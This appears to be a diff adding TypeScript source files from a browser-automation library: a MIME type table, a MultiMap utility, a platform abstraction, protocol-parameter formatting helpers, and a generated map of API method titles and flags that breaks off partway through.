['mpd', 'application/dash+xml'],
['davmount', 'application/davmount+xml'],
['dbk', 'application/docbook+xml'],
['dssc', 'application/dssc+der'],
['xdssc', 'application/dssc+xml'],
['ecma', 'application/ecmascript'],
['es', 'application/ecmascript'],
['emma', 'application/emma+xml'],
['emotionml', 'application/emotionml+xml'],
['epub', 'application/epub+zip'],
['exi', 'application/exi'],
['exp', 'application/express'],
['fdt', 'application/fdt+xml'],
['pfr', 'application/font-tdpfr'],
['geojson', 'application/geo+json'],
['gml', 'application/gml+xml'],
['gpx', 'application/gpx+xml'],
['gxf', 'application/gxf'],
['gz', 'application/gzip'],
['hjson', 'application/hjson'],
['stk', 'application/hyperstudio'],
['ink', 'application/inkml+xml'],
['inkml', 'application/inkml+xml'],
['ipfix', 'application/ipfix'],
['its', 'application/its+xml'],
['ear', 'application/java-archive'],
['jar', 'application/java-archive'],
['war', 'application/java-archive'],
['ser', 'application/java-serialized-object'],
['class', 'application/java-vm'],
['js', 'application/javascript'],
['mjs', 'application/javascript'],
['json', 'application/json'],
['map', 'application/json'],
['json5', 'application/json5'],
['jsonml', 'application/jsonml+json'],
['jsonld', 'application/ld+json'],
['lgr', 'application/lgr+xml'],
['lostxml', 'application/lost+xml'],
['hqx', 'application/mac-binhex40'],
['cpt', 'application/mac-compactpro'],
['mads', 'application/mads+xml'],
['webmanifest', 'application/manifest+json'],
['mrc', 'application/marc'],
['mrcx', 'application/marcxml+xml'],
['ma', 'application/mathematica'],
['mb', 'application/mathematica'],
['nb', 'application/mathematica'],
['mathml', 'application/mathml+xml'],
['mbox', 'application/mbox'],
['mscml', 'application/mediaservercontrol+xml'],
['metalink', 'application/metalink+xml'],
['meta4', 'application/metalink4+xml'],
['mets', 'application/mets+xml'],
['maei', 'application/mmt-aei+xml'],
['musd', 'application/mmt-usd+xml'],
['mods', 'application/mods+xml'],
['m21', 'application/mp21'],
['mp21', 'application/mp21'],
['m4p', 'application/mp4'],
['mp4s', 'application/mp4'],
['doc', 'application/msword'],
['dot', 'application/msword'],
['mxf', 'application/mxf'],
['nq', 'application/n-quads'],
['nt', 'application/n-triples'],
['cjs', 'application/node'],
['bin', 'application/octet-stream'],
['bpk', 'application/octet-stream'],
['buffer', 'application/octet-stream'],
['deb', 'application/octet-stream'],
['deploy', 'application/octet-stream'],
['dist', 'application/octet-stream'],
['distz', 'application/octet-stream'],
['dll', 'application/octet-stream'],
['dmg', 'application/octet-stream'],
['dms', 'application/octet-stream'],
['dump', 'application/octet-stream'],
['elc', 'application/octet-stream'],
['exe', 'application/octet-stream'],
['img', 'application/octet-stream'],
['iso', 'application/octet-stream'],
['lrf', 'application/octet-stream'],
['mar', 'application/octet-stream'],
['msi', 'application/octet-stream'],
['msm', 'application/octet-stream'],
['msp', 'application/octet-stream'],
['pkg', 'application/octet-stream'],
['so', 'application/octet-stream'],
['oda', 'application/oda'],
['opf', 'application/oebps-package+xml'],
['ogx', 'application/ogg'],
['omdoc', 'application/omdoc+xml'],
['onepkg', 'application/onenote'],
['onetmp', 'application/onenote'],
['onetoc', 'application/onenote'],
['onetoc2', 'application/onenote'],
['oxps', 'application/oxps'],
['relo', 'application/p2p-overlay+xml'],
['xer', 'application/patch-ops-error+xml'],
['pdf', 'application/pdf'],
['pgp', 'application/pgp-encrypted'],
['asc', 'application/pgp-signature'],
['sig', 'application/pgp-signature'],
['prf', 'application/pics-rules'],
['p10', 'application/pkcs10'],
['p7c', 'application/pkcs7-mime'],
['p7m', 'application/pkcs7-mime'],
['p7s', 'application/pkcs7-signature'],
['p8', 'application/pkcs8'],
['ac', 'application/pkix-attr-cert'],
['cer', 'application/pkix-cert'],
['crl', 'application/pkix-crl'],
['pkipath', 'application/pkix-pkipath'],
['pki', 'application/pkixcmp'],
['pls', 'application/pls+xml'],
['ai', 'application/postscript'],
['eps', 'application/postscript'],
['ps', 'application/postscript'],
['provx', 'application/provenance+xml'],
['pskcxml', 'application/pskc+xml'],
['raml', 'application/raml+yaml'],
['owl', 'application/rdf+xml'],
['rdf', 'application/rdf+xml'],
['rif', 'application/reginfo+xml'],
['rnc', 'application/relax-ng-compact-syntax'],
['rl', 'application/resource-lists+xml'],
['rld', 'application/resource-lists-diff+xml'],
['rs', 'application/rls-services+xml'],
['rapd', 'application/route-apd+xml'],
['sls', 'application/route-s-tsid+xml'],
['rusd', 'application/route-usd+xml'],
['gbr', 'application/rpki-ghostbusters'],
['mft', 'application/rpki-manifest'],
['roa', 'application/rpki-roa'],
['rsd', 'application/rsd+xml'],
['rss', 'application/rss+xml'],
['rtf', 'application/rtf'],
['sbml', 'application/sbml+xml'],
['scq', 'application/scvp-cv-request'],
['scs', 'application/scvp-cv-response'],
['spq', 'application/scvp-vp-request'],
['spp', 'application/scvp-vp-response'],
['sdp', 'application/sdp'],
['senmlx', 'application/senml+xml'],
['sensmlx', 'application/sensml+xml'],
['setpay', 'application/set-payment-initiation'],
['setreg', 'application/set-registration-initiation'],
['shf', 'application/shf+xml'],
['sieve', 'application/sieve'],
['siv', 'application/sieve'],
['smi', 'application/smil+xml'],
['smil', 'application/smil+xml'],
['rq', 'application/sparql-query'],
['srx', 'application/sparql-results+xml'],
['gram', 'application/srgs'],
['grxml', 'application/srgs+xml'],
['sru', 'application/sru+xml'],
['ssdl', 'application/ssdl+xml'],
['ssml', 'application/ssml+xml'],
['swidtag', 'application/swid+xml'],
['tei', 'application/tei+xml'],
['teicorpus', 'application/tei+xml'],
['tfi', 'application/thraud+xml'],
['tsd', 'application/timestamped-data'],
['toml', 'application/toml'],
['trig', 'application/trig'],
['ttml', 'application/ttml+xml'],
['ubj', 'application/ubjson'],
['rsheet', 'application/urc-ressheet+xml'],
['td', 'application/urc-targetdesc+xml'],
['vxml', 'application/voicexml+xml'],
['wasm', 'application/wasm'],
['wgt', 'application/widget'],
['hlp', 'application/winhlp'],
['wsdl', 'application/wsdl+xml'],
['wspolicy', 'application/wspolicy+xml'],
['xaml', 'application/xaml+xml'],
['xav', 'application/xcap-att+xml'],
['xca', 'application/xcap-caps+xml'],
['xdf', 'application/xcap-diff+xml'],
['xel', 'application/xcap-el+xml'],
['xns', 'application/xcap-ns+xml'],
['xenc', 'application/xenc+xml'],
['xht', 'application/xhtml+xml'],
['xhtml', 'application/xhtml+xml'],
['xlf', 'application/xliff+xml'],
['rng', 'application/xml'],
['xml', 'application/xml'],
['xsd', 'application/xml'],
['xsl', 'application/xml'],
['dtd', 'application/xml-dtd'],
['xop', 'application/xop+xml'],
['xpl', 'application/xproc+xml'],
['*xsl', 'application/xslt+xml'],
['xslt', 'application/xslt+xml'],
['xspf', 'application/xspf+xml'],
['mxml', 'application/xv+xml'],
['xhvml', 'application/xv+xml'],
['xvm', 'application/xv+xml'],
['xvml', 'application/xv+xml'],
['yang', 'application/yang'],
['yin', 'application/yin+xml'],
['zip', 'application/zip'],
['*3gpp', 'audio/3gpp'],
['adp', 'audio/adpcm'],
['amr', 'audio/amr'],
['au', 'audio/basic'],
['snd', 'audio/basic'],
['kar', 'audio/midi'],
['mid', 'audio/midi'],
['midi', 'audio/midi'],
['rmi', 'audio/midi'],
['mxmf', 'audio/mobile-xmf'],
['*mp3', 'audio/mp3'],
['m4a', 'audio/mp4'],
['mp4a', 'audio/mp4'],
['m2a', 'audio/mpeg'],
['m3a', 'audio/mpeg'],
['mp2', 'audio/mpeg'],
['mp2a', 'audio/mpeg'],
['mp3', 'audio/mpeg'],
['mpga', 'audio/mpeg'],
['oga', 'audio/ogg'],
['ogg', 'audio/ogg'],
['opus', 'audio/ogg'],
['spx', 'audio/ogg'],
['s3m', 'audio/s3m'],
['sil', 'audio/silk'],
['wav', 'audio/wav'],
['*wav', 'audio/wave'],
['weba', 'audio/webm'],
['xm', 'audio/xm'],
['ttc', 'font/collection'],
['otf', 'font/otf'],
['ttf', 'font/ttf'],
['woff', 'font/woff'],
['woff2', 'font/woff2'],
['exr', 'image/aces'],
['apng', 'image/apng'],
['avif', 'image/avif'],
['bmp', 'image/bmp'],
['cgm', 'image/cgm'],
['drle', 'image/dicom-rle'],
['emf', 'image/emf'],
['fits', 'image/fits'],
['g3', 'image/g3fax'],
['gif', 'image/gif'],
['heic', 'image/heic'],
['heics', 'image/heic-sequence'],
['heif', 'image/heif'],
['heifs', 'image/heif-sequence'],
['hej2', 'image/hej2k'],
['hsj2', 'image/hsj2'],
['ief', 'image/ief'],
['jls', 'image/jls'],
['jp2', 'image/jp2'],
['jpg2', 'image/jp2'],
['jpe', 'image/jpeg'],
['jpeg', 'image/jpeg'],
['jpg', 'image/jpeg'],
['jph', 'image/jph'],
['jhc', 'image/jphc'],
['jpm', 'image/jpm'],
['jpf', 'image/jpx'],
['jpx', 'image/jpx'],
['jxr', 'image/jxr'],
['jxra', 'image/jxra'],
['jxrs', 'image/jxrs'],
['jxs', 'image/jxs'],
['jxsc', 'image/jxsc'],
['jxsi', 'image/jxsi'],
['jxss', 'image/jxss'],
['ktx', 'image/ktx'],
['ktx2', 'image/ktx2'],
['png', 'image/png'],
['sgi', 'image/sgi'],
['svg', 'image/svg+xml'],
['svgz', 'image/svg+xml'],
['t38', 'image/t38'],
['tif', 'image/tiff'],
['tiff', 'image/tiff'],
['tfx', 'image/tiff-fx'],
['webp', 'image/webp'],
['wmf', 'image/wmf'],
['disposition-notification', 'message/disposition-notification'],
['u8msg', 'message/global'],
['u8dsn', 'message/global-delivery-status'],
['u8mdn', 'message/global-disposition-notification'],
['u8hdr', 'message/global-headers'],
['eml', 'message/rfc822'],
['mime', 'message/rfc822'],
['3mf', 'model/3mf'],
['gltf', 'model/gltf+json'],
['glb', 'model/gltf-binary'],
['iges', 'model/iges'],
['igs', 'model/iges'],
['mesh', 'model/mesh'],
['msh', 'model/mesh'],
['silo', 'model/mesh'],
['mtl', 'model/mtl'],
['obj', 'model/obj'],
['stpx', 'model/step+xml'],
['stpz', 'model/step+zip'],
['stpxz', 'model/step-xml+zip'],
['stl', 'model/stl'],
['vrml', 'model/vrml'],
['wrl', 'model/vrml'],
['*x3db', 'model/x3d+binary'],
['x3dbz', 'model/x3d+binary'],
['x3db', 'model/x3d+fastinfoset'],
['*x3dv', 'model/x3d+vrml'],
['x3dvz', 'model/x3d+vrml'],
['x3d', 'model/x3d+xml'],
['x3dz', 'model/x3d+xml'],
['x3dv', 'model/x3d-vrml'],
['appcache', 'text/cache-manifest'],
['manifest', 'text/cache-manifest'],
['ics', 'text/calendar'],
['ifb', 'text/calendar'],
['coffee', 'text/coffeescript'],
['litcoffee', 'text/coffeescript'],
['css', 'text/css'],
['csv', 'text/csv'],
['htm', 'text/html'],
['html', 'text/html'],
['shtml', 'text/html'],
['jade', 'text/jade'],
['jsx', 'text/jsx'],
['less', 'text/less'],
['markdown', 'text/markdown'],
['md', 'text/markdown'],
['mml', 'text/mathml'],
['mdx', 'text/mdx'],
['n3', 'text/n3'],
['conf', 'text/plain'],
['def', 'text/plain'],
['in', 'text/plain'],
['ini', 'text/plain'],
['list', 'text/plain'],
['log', 'text/plain'],
['text', 'text/plain'],
['txt', 'text/plain'],
['rtx', 'text/richtext'],
['*rtf', 'text/rtf'],
['sgm', 'text/sgml'],
['sgml', 'text/sgml'],
['shex', 'text/shex'],
['slim', 'text/slim'],
['slm', 'text/slim'],
['spdx', 'text/spdx'],
['styl', 'text/stylus'],
['stylus', 'text/stylus'],
['tsv', 'text/tab-separated-values'],
['man', 'text/troff'],
['me', 'text/troff'],
['ms', 'text/troff'],
['roff', 'text/troff'],
['t', 'text/troff'],
['tr', 'text/troff'],
['ttl', 'text/turtle'],
['uri', 'text/uri-list'],
['uris', 'text/uri-list'],
['urls', 'text/uri-list'],
['vcard', 'text/vcard'],
['vtt', 'text/vtt'],
['*xml', 'text/xml'],
['yaml', 'text/yaml'],
['yml', 'text/yaml'],
['3gp', 'video/3gpp'],
['3gpp', 'video/3gpp'],
['3g2', 'video/3gpp2'],
['h261', 'video/h261'],
['h263', 'video/h263'],
['h264', 'video/h264'],
['m4s', 'video/iso.segment'],
['jpgv', 'video/jpeg'],
['jpm', 'video/jpm'],
['jpgm', 'video/jpm'],
['mj2', 'video/mj2'],
['mjp2', 'video/mj2'],
['ts', 'application/typescript'],
['mp4', 'video/mp4'],
['mp4v', 'video/mp4'],
['mpg4', 'video/mp4'],
['m1v', 'video/mpeg'],
['m2v', 'video/mpeg'],
['mpe', 'video/mpeg'],
['mpeg', 'video/mpeg'],
['mpg', 'video/mpeg'],
['ogv', 'video/ogg'],
['mov', 'video/quicktime'],
['qt', 'video/quicktime'],
['webm', 'video/webm']
]);
@@ -0,0 +1,82 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export class MultiMap<K, V> {
private _map: Map<K, V[]>;
constructor() {
this._map = new Map<K, V[]>();
}
set(key: K, value: V) {
let values = this._map.get(key);
if (!values) {
values = [];
this._map.set(key, values);
}
values.push(value);
}
get(key: K): V[] {
return this._map.get(key) || [];
}
has(key: K): boolean {
return this._map.has(key);
}
delete(key: K, value: V) {
const values = this._map.get(key);
if (!values)
return;
if (values.includes(value))
this._map.set(key, values.filter(v => value !== v));
}
deleteAll(key: K) {
this._map.delete(key);
}
hasValue(key: K, value: V): boolean {
const values = this._map.get(key);
if (!values)
return false;
return values.includes(value);
}
get size(): number {
return this._map.size;
}
[Symbol.iterator](): Iterator<[K, V[]]> {
return this._map[Symbol.iterator]();
}
keys(): IterableIterator<K> {
return this._map.keys();
}
values(): Iterable<V> {
const result: V[] = [];
for (const key of this.keys())
result.push(...this.get(key));
return result;
}
clear() {
this._map.clear();
}
}
@@ -0,0 +1,123 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { webColors } from './colors';
import type * as fs from 'fs';
import type * as path from 'path';
import type { Readable, Writable } from 'stream';
import type { Colors } from '@isomorphic/colors';
import type * as channels from '@protocol/channels';
export type Zone = {
push(data: unknown): Zone;
pop(): Zone;
run<R>(func: () => R): R;
data<T>(): T | undefined;
};
const noopZone: Zone = {
push: () => noopZone,
pop: () => noopZone,
run: func => func(),
data: () => undefined,
};
export type Platform = {
name: 'node' | 'web' | 'empty';
boxedStackPrefixes: () => string[];
calculateSha1: (text: string) => Promise<string>;
colors: Colors;
coreDir?: string;
createGuid: () => string;
defaultMaxListeners: () => number;
env: Record<string, string | undefined>;
fs: () => typeof fs;
inspectCustom: symbol | undefined;
isDebugMode: () => boolean;
isJSDebuggerAttached: () => boolean;
isLogEnabled: (name: 'api' | 'channel') => boolean;
isUnderTest: () => boolean,
log: (name: 'api' | 'channel', message: string | Error | object) => void;
path: () => typeof path;
pathSeparator: string;
showInternalStackFrames: () => boolean,
streamFile: (path: string, writable: Writable) => Promise<void>,
streamReadable: (channel: channels.StreamChannel) => Readable,
streamWritable: (channel: channels.WritableStreamChannel) => Writable,
zones: { empty: Zone, current: () => Zone; };
};
export const emptyPlatform: Platform = {
name: 'empty',
boxedStackPrefixes: () => [],
calculateSha1: async () => {
throw new Error('Not implemented');
},
colors: webColors,
createGuid: () => {
throw new Error('Not implemented');
},
defaultMaxListeners: () => 10,
env: {},
fs: () => {
throw new Error('Not implemented');
},
inspectCustom: undefined,
isDebugMode: () => false,
isJSDebuggerAttached: () => false,
isLogEnabled(name: 'api' | 'channel') {
return false;
},
isUnderTest: () => false,
log(name: 'api' | 'channel', message: string | Error | object) { },
path: () => {
throw new Error('Function not implemented.');
},
pathSeparator: '/',
showInternalStackFrames: () => false,
streamFile(path: string, writable: Writable): Promise<void> {
throw new Error('Streams are not available');
},
streamReadable: (channel: channels.StreamChannel) => {
throw new Error('Streams are not available');
},
streamWritable: (channel: channels.WritableStreamChannel) => {
throw new Error('Streams are not available');
},
zones: { empty: noopZone, current: () => noopZone },
};
@@ -0,0 +1,76 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { getMetainfo } from './protocolMetainfo';
export function formatProtocolParam(params: Record<string, string> | undefined, alternatives: string): string | undefined {
return _formatProtocolParam(params, alternatives)?.replaceAll('\n', '\\n');
}
function _formatProtocolParam(params: Record<string, string> | undefined, alternatives: string): string | undefined {
if (!params)
return undefined;
for (const name of alternatives.split('|')) {
if (name === 'url') {
try {
const urlObject = new URL(params[name]);
if (urlObject.protocol === 'data:')
return urlObject.protocol;
if (['about:', 'chrome:', 'edge:'].includes(urlObject.protocol))
return params[name];
return urlObject.pathname + urlObject.search;
} catch (error) {
if (params[name] !== undefined)
return params[name];
}
}
if (name === 'timeNumber' && params[name] !== undefined) {
// eslint-disable-next-line no-restricted-globals
return new Date(params[name]).toString();
}
const value = deepParam(params, name);
if (value !== undefined)
return value;
}
}
function deepParam(params: Record<string, any>, name: string): string | undefined {
const tokens = name.split('.');
let current = params;
for (const token of tokens) {
if (typeof current !== 'object' || current === null)
return undefined;
current = current[token];
}
if (current === undefined)
return undefined;
return String(current);
}
export function renderTitleForCall(metadata: { title?: string, type: string, method: string, params: Record<string, string> | undefined }) {
const titleFormat = metadata.title ?? getMetainfo(metadata)?.title ?? metadata.method;
return titleFormat.replace(/\{([^}]+)\}/g, (fullMatch, p1) => {
return formatProtocolParam(metadata.params, p1) ?? fullMatch;
});
}
export type ActionGroup = 'configuration' | 'route' | 'getter';
export function getActionGroup(metadata: { type: string, method: string }) {
return getMetainfo(metadata)?.group as undefined | ActionGroup;
}
@@ -0,0 +1,345 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// This file is generated by generate_channels.js, do not edit manually.
export type MethodMetainfo = { internal?: boolean, title?: string, slowMo?: boolean, snapshot?: boolean, pause?: boolean, isAutoWaiting?: boolean, input?: boolean, group?: string };
export const methodMetainfo = new Map<string, MethodMetainfo>([
['APIRequestContext.fetch', { title: '{method} "{url}"', }],
['APIRequestContext.fetchResponseBody', { title: 'Get response body', group: 'getter', }],
['APIRequestContext.fetchLog', { internal: true, }],
['APIRequestContext.storageState', { title: 'Get storage state', group: 'configuration', }],
['APIRequestContext.disposeAPIResponse', { internal: true, }],
['APIRequestContext.dispose', { internal: true, }],
['LocalUtils.zip', { internal: true, }],
['LocalUtils.harOpen', { internal: true, }],
['LocalUtils.harLookup', { internal: true, }],
['LocalUtils.harClose', { internal: true, }],
['LocalUtils.harUnzip', { internal: true, }],
['LocalUtils.connect', { internal: true, }],
['LocalUtils.tracingStarted', { internal: true, }],
['LocalUtils.addStackToTracingNoReply', { internal: true, }],
['LocalUtils.traceDiscarded', { internal: true, }],
['LocalUtils.globToRegex', { internal: true, }],
['Root.initialize', { internal: true, }],
['Playwright.newRequest', { title: 'Create request context', }],
['DebugController.initialize', { internal: true, }],
['DebugController.setReportStateChanged', { internal: true, }],
['DebugController.setRecorderMode', { internal: true, }],
['DebugController.highlight', { internal: true, }],
['DebugController.hideHighlight', { internal: true, }],
['DebugController.resume', { internal: true, }],
['DebugController.kill', { internal: true, }],
['SocksSupport.socksConnected', { internal: true, }],
['SocksSupport.socksFailed', { internal: true, }],
['SocksSupport.socksData', { internal: true, }],
['SocksSupport.socksError', { internal: true, }],
['SocksSupport.socksEnd', { internal: true, }],
['BrowserType.launch', { title: 'Launch browser', }],
['BrowserType.launchPersistentContext', { title: 'Launch persistent context', }],
['BrowserType.connectOverCDP', { title: 'Connect over CDP', }],
['BrowserType.connectOverCDPTransport', { title: 'Connect over CDP transport', }],
['BrowserType.connectToWorker', { title: 'Connect to worker', }],
['Browser.startServer', { title: 'Start server', }],
['Browser.stopServer', { title: 'Stop server', }],
['Browser.close', { title: 'Close browser', pause: true, }],
['Browser.killForTests', { internal: true, }],
['Browser.defaultUserAgentForTest', { internal: true, }],
['Browser.newContext', { title: 'Create context', }],
['Browser.newContextForReuse', { internal: true, }],
['Browser.disconnectFromReusedContext', { internal: true, }],
['Browser.newBrowserCDPSession', { title: 'Create CDP session', group: 'configuration', }],
['Browser.startTracing', { title: 'Start browser tracing', group: 'configuration', }],
['Browser.stopTracing', { title: 'Stop browser tracing', group: 'configuration', }],
['EventTarget.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['BrowserContext.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['Page.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['Worker.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['WebSocket.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['Debugger.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['ElectronApplication.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['AndroidDevice.waitForEventInfo', { title: 'Wait for event "{info.event}"', snapshot: true, }],
['BrowserContext.addCookies', { title: 'Add cookies', group: 'configuration', }],
['BrowserContext.addInitScript', { title: 'Add init script', group: 'configuration', }],
['BrowserContext.clearCookies', { title: 'Clear cookies', group: 'configuration', }],
['BrowserContext.clearPermissions', { title: 'Clear permissions', group: 'configuration', }],
['BrowserContext.close', { title: 'Close context', pause: true, }],
['BrowserContext.cookies', { title: 'Get cookies', group: 'getter', }],
['BrowserContext.exposeBinding', { title: 'Expose binding', group: 'configuration', }],
['BrowserContext.grantPermissions', { title: 'Grant permissions', group: 'configuration', }],
['BrowserContext.newPage', { title: 'Create page', }],
['BrowserContext.registerSelectorEngine', { internal: true, }],
['BrowserContext.setTestIdAttributeName', { internal: true, }],
['BrowserContext.setExtraHTTPHeaders', { title: 'Set extra HTTP headers', group: 'configuration', }],
['BrowserContext.setGeolocation', { title: 'Set geolocation', group: 'configuration', }],
['BrowserContext.setHTTPCredentials', { title: 'Set HTTP credentials', group: 'configuration', }],
['BrowserContext.setNetworkInterceptionPatterns', { title: 'Route requests', group: 'route', }],
['BrowserContext.setWebSocketInterceptionPatterns', { title: 'Route WebSockets', group: 'route', }],
['BrowserContext.setOffline', { title: 'Set offline mode', }],
['BrowserContext.storageState', { title: 'Get storage state', group: 'configuration', }],
['BrowserContext.setStorageState', { title: 'Set storage state', group: 'configuration', }],
['BrowserContext.pause', { title: 'Pause', }],
['BrowserContext.enableRecorder', { internal: true, }],
['BrowserContext.disableRecorder', { internal: true, }],
['BrowserContext.exposeConsoleApi', { internal: true, }],
['BrowserContext.newCDPSession', { title: 'Create CDP session', group: 'configuration', }],
['BrowserContext.createTempFiles', { internal: true, }],
['BrowserContext.updateSubscription', { internal: true, }],
['BrowserContext.clockFastForward', { title: 'Fast forward clock "{ticksNumber|ticksString}"', }],
['BrowserContext.clockInstall', { title: 'Install clock "{timeNumber|timeString}"', }],
['BrowserContext.clockPauseAt', { title: 'Pause clock "{timeNumber|timeString}"', }],
['BrowserContext.clockResume', { title: 'Resume clock', }],
['BrowserContext.clockRunFor', { title: 'Run clock "{ticksNumber|ticksString}"', }],
['BrowserContext.clockSetFixedTime', { title: 'Set fixed time "{timeNumber|timeString}"', }],
['BrowserContext.clockSetSystemTime', { title: 'Set system time "{timeNumber|timeString}"', }],
['Page.addInitScript', { title: 'Add init script', group: 'configuration', }],
['Page.close', { title: 'Close page', pause: true, }],
['Page.clearConsoleMessages', { title: 'Clear console messages', }],
['Page.consoleMessages', { title: 'Get console messages', group: 'getter', }],
['Page.emulateMedia', { title: 'Emulate media', snapshot: true, pause: true, }],
['Page.exposeBinding', { title: 'Expose binding', group: 'configuration', }],
['Page.goBack', { title: 'Go back', slowMo: true, snapshot: true, pause: true, }],
['Page.goForward', { title: 'Go forward', slowMo: true, snapshot: true, pause: true, }],
['Page.requestGC', { title: 'Request garbage collection', group: 'configuration', }],
['Page.registerLocatorHandler', { title: 'Register locator handler', }],
['Page.resolveLocatorHandlerNoReply', { internal: true, }],
['Page.unregisterLocatorHandler', { title: 'Unregister locator handler', }],
['Page.reload', { title: 'Reload', slowMo: true, snapshot: true, pause: true, }],
['Page.expectScreenshot', { title: 'Expect screenshot', snapshot: true, pause: true, }],
['Page.screenshot', { title: 'Screenshot', snapshot: true, pause: true, }],
['Page.setExtraHTTPHeaders', { title: 'Set extra HTTP headers', group: 'configuration', }],
['Page.setNetworkInterceptionPatterns', { title: 'Route requests', group: 'route', }],
['Page.setWebSocketInterceptionPatterns', { title: 'Route WebSockets', group: 'route', }],
['Page.setViewportSize', { title: 'Set viewport size', snapshot: true, pause: true, }],
['Page.keyboardDown', { title: 'Key down "{key}"', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.keyboardUp', { title: 'Key up "{key}"', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.keyboardInsertText', { title: 'Insert "{text}"', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.keyboardType', { title: 'Type "{text}"', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.keyboardPress', { title: 'Press "{key}"', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.mouseMove', { title: 'Mouse move', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.mouseDown', { title: 'Mouse down', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.mouseUp', { title: 'Mouse up', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.mouseClick', { title: 'Click', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.mouseWheel', { title: 'Mouse wheel', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.touchscreenTap', { title: 'Tap', slowMo: true, snapshot: true, pause: true, input: true, }],
['Page.clearPageErrors', { title: 'Clear page errors', }],
['Page.pageErrors', { title: 'Get page errors', group: 'getter', }],
['Page.pdf', { title: 'PDF', }],
['Page.requests', { title: 'Get network requests', group: 'getter', }],
['Page.startJSCoverage', { title: 'Start JS coverage', group: 'configuration', }],
['Page.stopJSCoverage', { title: 'Stop JS coverage', group: 'configuration', }],
['Page.startCSSCoverage', { title: 'Start CSS coverage', group: 'configuration', }],
['Page.stopCSSCoverage', { title: 'Stop CSS coverage', group: 'configuration', }],
['Page.bringToFront', { title: 'Bring to front', }],
['Page.pickLocator', { title: 'Pick locator', group: 'configuration', }],
['Page.cancelPickLocator', { title: 'Cancel pick locator', group: 'configuration', }],
['Page.screencastShowOverlay', { title: 'Show overlay', group: 'configuration', }],
['Page.screencastRemoveOverlay', { title: 'Remove overlay', group: 'configuration', }],
['Page.screencastChapter', { title: 'Show chapter overlay', group: 'configuration', }],
['Page.screencastSetOverlayVisible', { title: 'Set overlay visibility', group: 'configuration', }],
['Page.screencastShowActions', { title: 'Show actions', group: 'configuration', }],
['Page.screencastHideActions', { title: 'Remove actions', group: 'configuration', }],
['Page.screencastStart', { title: 'Start screencast', group: 'configuration', }],
['Page.screencastStop', { title: 'Stop screencast', group: 'configuration', }],
['Page.updateSubscription', { internal: true, }],
['Page.setDockTile', { internal: true, }],
['Frame.evalOnSelector', { title: 'Evaluate', snapshot: true, pause: true, }],
['Frame.evalOnSelectorAll', { title: 'Evaluate', snapshot: true, pause: true, }],
['Frame.addScriptTag', { title: 'Add script tag', snapshot: true, pause: true, }],
['Frame.addStyleTag', { title: 'Add style tag', snapshot: true, pause: true, }],
['Frame.ariaSnapshot', { title: 'Aria snapshot', group: 'getter', }],
['Frame.blur', { title: 'Blur', slowMo: true, snapshot: true, pause: true, }],
['Frame.check', { title: 'Check', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.click', { title: 'Click', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.content', { title: 'Get content', snapshot: true, pause: true, }],
['Frame.dragAndDrop', { title: 'Drag and drop', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.dblclick', { title: 'Double click', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.dispatchEvent', { title: 'Dispatch "{type}"', slowMo: true, snapshot: true, pause: true, }],
['Frame.evaluateExpression', { title: 'Evaluate', snapshot: true, pause: true, }],
['Frame.evaluateExpressionHandle', { title: 'Evaluate', snapshot: true, pause: true, }],
['Frame.fill', { title: 'Fill "{value}"', slowMo: true, snapshot: true, pause: true, input: true, isAutoWaiting: true, }],
['Frame.focus', { title: 'Focus', slowMo: true, snapshot: true, pause: true, }],
['Frame.frameElement', { title: 'Get frame element', group: 'getter', }],
['Frame.resolveSelector', { internal: true, }],
['Frame.highlight', { title: 'Highlight element', group: 'configuration', }],
